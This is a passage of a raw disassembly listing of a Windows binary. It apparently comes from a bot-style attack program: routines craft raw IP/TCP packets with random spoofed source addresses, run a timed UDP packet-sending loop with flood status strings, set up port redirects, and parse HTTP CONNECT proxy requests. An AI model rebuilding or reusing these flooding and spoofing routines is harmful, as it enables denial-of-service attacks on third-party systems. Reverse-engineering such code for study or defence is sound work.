esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_428494: ; CODE XREF: ___:00428485j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_4284B7 loc_4284AA: ; CODE XREF: ___:0042865Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4284B7: ; CODE XREF: ___:004284A8j mov ecx, [esp+0B4h] mov ebp, dword_511C38 push ecx mov word ptr [esp+60h], 2 call ebp mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27E0CD2h mov [esp+48h], eax mov al, byte_4D84C9 test al, al jz loc_42870B mov ebx, dword_511AC8 mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_428555 ; --------------------------------------------------------------------------- xor esi, esi loc_428555: ; CODE XREF: ___:00428551j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp push 14h mov [esp+3Ah], ax call ebp mov [esp+5Ah], ax mov eax, [esp+14h] push eax call near ptr 71AB2BC0h nop mov esi, eax mov [esp+2Ch], esi call ebx cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp mov [esp+34h], ax call ebx mov edi, eax shl edi, 10h call ebx or edi, eax push edi call ebp mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A37 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A37 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx call near ptr 71AB2C69h nop cmp eax, 0FFFFFFFFh jz loc_4284AA call near ptr 27E0CD2h nop mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_428707 mov al, [esp+13h] test al, al jz short loc_4286A9 push 2710h push 3E8h call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4286A9: ; CODE XREF: ___:0042868Ej push 0FFh push 0 call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 4095EFE8h, 0C9A09002h, 84004D84h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_428707: ; CODE XREF: ___:00428686j mov edi, [esp+18h] loc_42870B: ; CODE XREF: ___:0042853Bj push edi call near ptr 71AB9639h nop mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428810 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40188E mov esi, eax call near ptr 77C371D3h nop and eax, 800001FFh jns short loc_428831 dec eax or eax, 0FFFFFE00h inc eax loc_428831: ; CODE XREF: sub_428810+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BC7 sub_428810 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428880 proc near ; CODE XREF: sub_40178Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428880 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F11C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_428880 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_428908 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428908: ; CODE XREF: sub_4288F0+Dj mov eax, esi pop esi retn 4 sub_4288F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428920 proc near ; CODE XREF: sub_401159j jmp sub_4014CE sub_428920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428940 proc near ; CODE XREF: sub_401A14j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428940 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_40142E mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014DD push eax call sub_40173A add esp, 14h test eax, eax jz short loc_428A0E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_428A0E: ; CODE XREF: sub_428940+A2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_428940 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428AB0 proc near ; CODE XREF: sub_40173Aj var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_437B30 push esi push 11h push 2 push 2 nop call near ptr 71AB3B91h mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_428B11 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_428B0A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_428B0A: ; CODE XREF: sub_428AB0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428B11: ; CODE XREF: sub_428AB0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_511AC8 push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_428B4D call ebx cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B4D: ; CODE XREF: sub_428AB0+77j push esi call near ptr 71AB2B66h nop cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_428B6B mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B6B: ; CODE XREF: sub_428AB0+ACj cmp esi, 0FFFFh jle short loc_428B7E mov [esp+28h+arg_FFE8], 0FFFFh loc_428B7E: ; CODE XREF: sub_428AB0+9Bj ; sub_428AB0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_428B94 mov [esp+28h+arg_FFE4], 1 loc_428B94: ; CODE XREF: sub_428AB0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_428BCE loc_428BBB: ; CODE XREF: sub_428AB0+11Cj call ebx cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_428BBB loc_428BCE: ; CODE XREF: sub_428AB0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_428C60 mov ebp, dword_511C68 loc_428BE6: ; CODE XREF: sub_428AB0+1AEj mov al, byte_4D84C9 test al, al jz short loc_428C60 mov esi, 0Bh loc_428BF4: ; CODE XREF: sub_428AB0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 2831CE8h dec esi jnz short loc_428BF4 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_428C4B call ebx cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+48h+var_36], ax loc_428C4B: ; CODE XREF: sub_428AB0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_428BE6 loc_428C60: ; CODE XREF: sub_428AB0+12Aj ; sub_428AB0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_428AB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428CE0 proc near ; CODE XREF: sub_40209Aj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A37 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_428D3D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D3D: ; CODE XREF: sub_428CE0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_428D5D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D5D: ; CODE XREF: sub_428CE0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi nop call near ptr 71AB2C69h push esi mov edi, eax call near ptr 71AB9639h nop mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_428CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428DC0 proc near ; CODE XREF: sub_401DB1j var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_437B30 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40188E mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40188E mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_448F40 mov eax, edi loc_428E27: ; CODE XREF: sub_428DC0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428E4B test cl, cl jz short loc_428E47 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428E4B add eax, 2 add esi, 2 test cl, cl jnz short loc_428E27 loc_428E47: ; CODE XREF: sub_428DC0+71j xor eax, eax jmp short loc_428E50 ; --------------------------------------------------------------------------- loc_428E4B: ; CODE XREF: sub_428DC0+6Dj ; sub_428DC0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E50: ; CODE XREF: sub_428DC0+89j cmp eax, ebx jnz short loc_428EA3 mov ebp, dword_4D80D7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_428E67 cmp ebp, 0FFFFFFFFh jnz short loc_428EAE loc_428E67: ; CODE XREF: sub_428DC0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax call near ptr 71AB50C8h nop lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_428EAE ; --------------------------------------------------------------------------- loc_428EA3: ; CODE XREF: sub_428DC0+92j push edi call sub_40188E add esp, 4 mov ebp, eax loc_428EAE: ; CODE XREF: sub_428DC0+A5j ; sub_428DC0+E1j cmp ebp, ebx jz short loc_428EB7 cmp ebp, 0FFFFFFFFh jnz short loc_428EBD loc_428EB7: ; CODE XREF: sub_428DC0+F0j mov ebp, dword_4D80D7 loc_428EBD: ; CODE XREF: sub_428DC0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_428FFD lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi call near ptr 71AB3EA1h nop cmp eax, 0FFFFFFFFh jz loc_428FFD lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_428FFD push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_428FFD mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_428FE3 mov ebx, dword_511CA4 loc_428F53: ; CODE XREF: sub_428DC0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_428FD3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_428FAE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_428FCB ; --------------------------------------------------------------------------- loc_428FAE: ; CODE XREF: sub_428DC0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_428FD3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_428FCB: ; CODE XREF: sub_428DC0+1ECj call sub_40209A add esp, 8 loc_428FD3: ; CODE XREF: sub_428DC0+1C0j ; sub_428DC0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_428F53 loc_428FE3: ; CODE XREF: sub_428DC0+187j mov edx, dword_511A90 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi nop call near ptr 71AB9639h loc_428FFD: ; CODE XREF: sub_428DC0+11Dj ; sub_428DC0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_428DC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4290B0 proc near ; CODE XREF: sub_401898j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4290B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_446F0C lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F12C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4290B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429120 proc near ; CODE XREF: sub_401FA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429120 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4291E0 proc near ; CODE XREF: sub_4017A8j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4291E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4291E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4292B0: ; CODE XREF: ___:00401A23j ; ___:loc_402086j push esi mov esi, ecx call sub_4017A8 test byte ptr [esp+8], 1 jz short loc_4292C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292C8: ; CODE XREF: ___:004292BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4292E0 proc near ; CODE XREF: ___:00401096j sub_401C3Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015FF test [esp+4+arg_0], 1 jz short loc_4292F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292F8: ; CODE XREF: sub_4292E0+Dj mov eax, esi pop esi retn 4 sub_4292E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429310 proc near ; CODE XREF: sub_4015FFj jmp sub_4017A8 sub_429310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429330 proc near ; CODE XREF: sub_4015B9j push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8085 call sub_401857 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_401DB1 add esp, 10h mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_429330 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429450 proc near ; CODE XREF: sub_401893j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429450 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401FA0 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_40142E push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43F14C call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017EE push eax lea ecx, [esi+11h] call sub_4015E1 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_429450 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429510 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE5 test [esp+4+arg_0], 1 jz short loc_429528 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_429528: ; CODE XREF: sub_429510+Dj mov eax, esi pop esi retn 4 sub_429510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429540 proc near ; CODE XREF: sub_401BE5j push esi mov esi, ecx push edi mov edi, dword_511C9C mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43F14C cmp eax, 0FFFFFFFFh jz short loc_42955E push eax call edi loc_42955E: ; CODE XREF: sub_429540+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42956C push eax call edi loc_42956C: ; CODE XREF: sub_429540+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_4017A8 pop edi pop esi retn sub_429540 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4295B0: ; CODE XREF: ___:loc_401D3Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43CDB2 push eax mov eax, 5488h mov large fs:0, esp call sub_437B30 push ebx push ebp push esi mov ebp, ecx or esi, 0FFFFFFFFh push edi mov [ebp+0BFh], esi mov byte ptr [esp+11h], 0 mov byte ptr [esp+12h], 0 loc_4295E8: ; CODE XREF: ___:0042A576j lea ecx, [esp+0B8h] call sub_401B4A lea ecx, [esp+14h] mov dword ptr [esp+54A0h], 0 mov byte ptr [esp+13h], 0 call sub_40142E mov ecx, [ebp+0BBh] push 0 lea eax, [esp+398h] push 104h push eax push ecx mov byte ptr [esp+54B0h], 1 call sub_401280 add esp, 10h test al, al jz loc_42A600 lea edx, [esp+394h] lea ecx, [esp+30h] push edx call sub_401870 push offset byte_448F40 lea ecx, [esp+34h] mov byte ptr [esp+54A4h], 2 call sub_4012EE test eax, eax jnz short loc_4296A0 lea ecx, [esp+30h] mov byte ptr [esp+54A0h], 1 call sub_401226 lea ecx, [esp+14h] mov byte ptr [esp+54A0h], 0 call sub_401226 lea ecx, [esp+0B8h] mov [esp+54A0h], esi call sub_4014BA jmp loc_42A570 ; --------------------------------------------------------------------------- loc_4296A0: ; CODE XREF: ___:00429664j push offset asc_444600 ; " " lea eax, [esp+234h] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset off_447224 mov ecx, eax mov byte ptr [esp+54A4h], 3 call sub_40150A test eax, eax lea ecx, [esp+230h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz short loc_429765 push offset asc_444600 ; " " lea ecx, [esp+21Ch] push 1 push ecx lea ecx, [esp+3Ch] mov byte ptr [esp+1Fh], 1 call sub_4016B8 lea edx, [esp+0B8h] mov ecx, eax push edx mov byte ptr [esp+54A4h], 4 call sub_4017EE push eax call sub_401947 add esp, 8 lea ecx, [esp+218h] test al, al setz bl mov byte ptr [esp+54A0h], 2 call sub_401226 test bl, bl jnz loc_42A5EF push offset aHttp ; "http" lea ecx, [esp+0BCh] call sub_4012EE test eax, eax jnz loc_42A5EF jmp loc_42995A ; --------------------------------------------------------------------------- loc_429765: ; CODE XREF: ___:004296E7j push offset asc_444600 ; " " lea eax, [esp+24Ch] push 0 push eax lea ecx, [esp+3Ch] call sub_4016B8 push offset aConnect_0 ; "CONNECT" mov ecx, eax mov byte ptr [esp+54A4h], 5 call sub_40150A test eax, eax lea ecx, [esp+248h] mov byte ptr [esp+54A0h], 2 setz bl call sub_401226 test bl, bl jz loc_42995A push offset aConnect ; "connect" lea ecx, [esp+0BCh] mov byte ptr [esp+17h], 0 call sub_4015E1 push offset byte_448F40 lea ecx, [esp+114h] call sub_4015E1 push offset asc_444600 ; " " lea ecx, [esp+12Ch] push 1 push ecx lea ecx, [esp+3Ch] call sub_4016B8 push offset asc_444C7C ; ":" lea edx, [esp+174h] push 0 push edx mov ecx, eax mov byte ptr [esp+54ACh], 6 call sub_4016B8 push eax lea ecx, [esp+0D1h] 